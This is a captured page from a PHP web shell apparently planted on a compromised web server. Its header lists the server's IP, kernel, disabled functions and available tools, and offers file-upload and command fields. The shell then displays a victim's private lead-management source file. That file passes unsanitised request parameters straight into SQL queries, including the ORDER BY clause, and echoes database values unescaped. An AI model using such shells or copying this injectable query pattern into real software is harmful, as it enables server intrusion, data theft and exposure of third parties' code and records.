X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.138.134.106
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/Intellilead/leads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/Intellilead/leads/leads_history.php
<?php include('../template/header.php');
$id= $_GET['id'];
	$order_by= $_GET['order_by'];
	$order_by2= $_GET['order_by2'];
	if($order_by=='')
	{
		$order_by='id';
	}
	if($order_by2==""){
		$order_by2='DESC';
	}
$_SESSION['order_by2']=$order_by2;
$_SESSION['sess_order_by']=$order_by;
//==================================select data================
//pagination
include('../includes/newPagers.php');
$Num_Records_Page = 25; 
$PGobj = new PagerClass();
if($_REQUEST['page']==""){	$cp=1;	}
else{	$cp=intval($_REQUEST['page']);	}
$PGobj->setCurrentPage($cp);
$PGobj->SetCurpage($_SERVER['PHP_SELF']);
$columns="SELECT * ";
if($_SESSION['role_id']=='4'){ 
//$listingsql=" FROM mstr_history WHERE 1=1 and company_id ='".$_SESSION['company_id']."' and assign_tc = '".$_SESSION['user_id']."'";
}else{
//$listingsql=" FROM mstr_history WHERE 1=1 and company_id ='".$_SESSION['company_id']."'";
}
$listingsql=" FROM mstr_history WHERE 1=1 and lead_id = '$id' and company_id ='".$_SESSION['company_id']."'";
$reccnt = getSingleResult("SELECT COUNT(*) ".$listingsql);
$limit = $PGobj->MyPaging($reccnt,$Num_Records_Page);
$sql= $columns.$listingsql." order by $order_by $order_by2 ".$limit;
$result= executeQuery($sql);
$ModelRes= executeQuery($sql);
$ModelRes1= executeQuery($sql);
$ModelRes2= executeQuery($sql);
$no= mysql_num_rows($result);
?>
<script language="JavaScript">
	function selectAll(source) {
		checkboxes = document.getElementsByName('l_ids[]');
		for(var i in checkboxes)
			checkboxes[i].checked = source.checked;
	}
</script>
 	 <!-- page heading start-->
             <div class="panel box-shadow-none content-header">
                  <div class="panel-body">
                    <div class="col-md-12">
                        <h3 class="animated fadeInLeft">Leads History</h3>
                        <p class="animated fadeInDown">
                          Leads <span class="fa-angle-right fa"></span>Leads History
                        </p>
                    </div>
                  </div>
              </div>
         <!-- page heading end-->
		 
       <!--body wrapper start-->    
		<?php include('../template/response.php');?>
		
			 <div class="col-md-12 top-20 padding-0">
              <div class="col-md-12">
                <div class="panel">
				<div class="panel-heading"><h3> (<?php echo getLeadCode($id); ?>) Lead History List (<?php echo $reccnt;?>) </h3></div>
                  <div class="panel-body">					
					<div class="table-responsive">   
					<form method="post" action="assign_leads.php" name="form_frm">
		 
       <table class="table table-striped table-bordered" width="100%" cellspacing="0">
	 
                      <ul class="mini-timeline">

					   <?php if($no>0){
								  $c=1;
								  while($line=mysql_fetch_array($result)) {	
								  $date=date_create($line['datetime']);
							?>
   
                        <li class="mini-timeline-highlight mini-timeline-<?php echo getLeadHistoryStatus($line['lead_status']); ?>">
                          <div class="mini-timeline-panel">
                            <h5 class="time"><?php echo date_format($date,'d M  Y h:i:s a'); ?></h5>
                            				
							<a><?php echo getLeadStatus($line['lead_status']); ?></a>
							<div>
							<span class='text-success'><?php echo getUserName2($line['user_id']); ?></span>
							<?php if($line['lead_status']=='7'){ 
							echo "<code><b>Location : </b> </code>".$line['met_loc'].							     
							     "<code><b>Time : </b> </code> ".$line['follow_time'];
								 } ?>
								 
							<?php if($line['lead_status']=='4'){ echo "<code><b>Change Follow Up Time : </b> </code> ".$line['follow_time']; }?>	
							<?php if($line['msg']){ echo "<code><b>Change Remarks :</b> </code> ".$line['msg']; } ?> 
							<?php if($line['assign_tc']){ echo "<code><b>Assigned Lead to :</b> </code> ".getUserName2($line['assign_tc']); } ?>
							<?php //echo getUserName2($line['assign_by']); ?> 
							<?php //echo getUserName2($line['assign_to']); ?> 
							<?php //echo getUserName2($line['assign_tc']); ?> 
							
							</div>
                          </div>
                        </li>
		
        <?php }   }else {?>
        <tr>
           <td colspan="12" style="margin:0px auto; text-align:center; color:#282828; font-size:14px; font-variant:small-caps; font-weight:bold;">
           Your Leads History List is Empty.</td>	
           </tr>
           </p>
        <?php }?>
						</ul>
                        
        </table>       
				<div class="col-md-6" style="padding-top:20px;">
                    <span><?php echo $PGobj->showEntries($no); ?></span>
                  </div>
                  <div class="col-md-6">                       
                         <?php echo $PGobj->showPagerContent(); ?>                     
                  </div>	  
            </form>		
                  </div>                
                </div>
              </div>
            </div>  
          </div>
<?php 		
  while($model=mysql_fetch_array($ModelRes)) {				 
?>		  
<!-- Modal -->
  <div class="modal fade" id="myModal<?php echo $model['lead_id']?>" role="dialog">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">Lead Interested </h4>
        </div>
        <div class="modal-body">
           <form class="cmxform" id="signupForm" method="post" action="edit_assign_leads.php">                        
                            <div class="form-group form-animate-text" style="margin-top:40px !important;">
                              <input type="text" class="form-text" name="fst" required disabled>
                              <span class="bar"></span>
                              <label>Forwarded to Sales Team</label>
                            </div>
                            <input type="hidden" value="<?php echo $model['lead_id']?>" name="leadid">
                            <div class="form-group form-animate-text" style="margin-top:40px !important;">
                               <select class="form-control" name="product">
							   <?php 
							   $productRes= executeQuery("SELECT prod_id,prod_name FROM mstr_product where status='Active' and company_id ='".$_SESSION['company_id']."'");
									while($row=mysql_fetch_array($productRes)) { ?>
									<option value="<?php echo $row['prod_id']?>"><?php echo $row['prod_name']?></option>
								<?php } ?>                                   
                                </select>                                                         
                            </div>

                            <div class="form-group form-animate-text" style="margin-top:40px !important;">
							  <textarea class="form-text" name="remarks" required></textarea>
                              <span class="bar"></span>
                              <label>Remarks *</label>
                            </div>                          
					       <input type="hidden" value="2" name="lead_status">
						   <input type="hidden" value="0" name="datetime">						   
						   <input type="hidden" value="<?php echo $model['assign_by']?>" name="assign_by">
						   <input type="hidden" value="<?php echo $model['assign_to']?>" name="assign_to">
						   <input type="hidden" value="<?php echo $model['assign_tc']?>" name="assign_tc">
        </div>
        <div class="modal-footer">
		  <button type="submit" class="btn btn-success" name="interested">Submit</button>
          <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        </div>
		</form>	
      </div>
    </div>
  </div>  
<!--body wrapper end-->
<?php } ?>
<?php 		
  while($model1=mysql_fetch_array($ModelRes1)) {				 
?>		  
<!-- Modal -->
  <div class="modal fade" id="my1Modal<?php echo $model1['lead_id']?>" role="dialog">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">Lead Not Interested </h4>
        </div>
        <div class="modal-body">
           <form class="cmxform" id="signupForm" method="post" action="edit_assign_leads.php">                        
                           <div class="form-group form-animate-text" style="margin-top:40px !important;">
							  <textarea class="form-text" name="remarks" required></textarea>
                              <span class="bar"></span>
                              <label>Remarks *</label>
                           </div>    
						   <input type="hidden" value="<?php echo $model1['lead_id']?>" name="leadid">	
						   <input type="hidden" value="3" name="lead_status">
						   <input type="hidden" value="0" name="product">
						   <input type="hidden" value="0" name="datetime">
						   <input type="hidden" value="<?php echo $model1['assign_by']?>" name="assign_by">
						   <input type="hidden" value="<?php echo $model1['assign_to']?>" name="assign_to">
						   <input type="hidden" value="<?php echo $model1['assign_tc']?>" name="assign_tc">
        </div>
        <div class="modal-footer">
		  <button type="submit" class="btn btn-success" name="not_interested">Submit</button>
          <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        </div>
		</form>	
      </div>
    </div>
  </div>  
<!--body wrapper end-->
<?php } ?>
<?php 		
  while($model2=mysql_fetch_array($ModelRes2)) {				 
?>		  
<!-- Modal -->
  <div class="modal fade" id="my2Modal<?php echo $model2['lead_id']?>" role="dialog">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">Lead Follow Up</h4>
        </div>
        <div class="modal-body">
                <form class="cmxform" id="signupForm" method="post" action="edit_assign_leads.php">
				
							<div class="form-group form-animate-text">
							  <input type="text" class="form-text datetime" name="datetime" required>							 
							  <span class="bar"></span>
							  <label><span class="fa fa-calendar"></span> Date Time Picker</label>
							</div>  
                           <input type="hidden" value="<?php echo $model2['lead_id']?>" name="leadid">
						   <input type="hidden" value="4" name="lead_status">
						   <input type="hidden" value="<?php echo $model2['assign_by']?>" name="assign_by">
						   <input type="hidden" value="<?php echo $model2['assign_to']?>" name="assign_to">
						   <input type="hidden" value="<?php echo $model2['assign_tc']?>" name="assign_tc">
        </div>
        <div class="modal-footer">
		   <button type="submit" class="btn btn-success" name="follow_up">Submit</button>
          <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        </div>
		</form>
      </div>
    </div>
  </div>  
<!--body wrapper end-->

<?php } ?>

<?php include('../template/footer.php');?>

Anon7 - 2022
SCDN GOK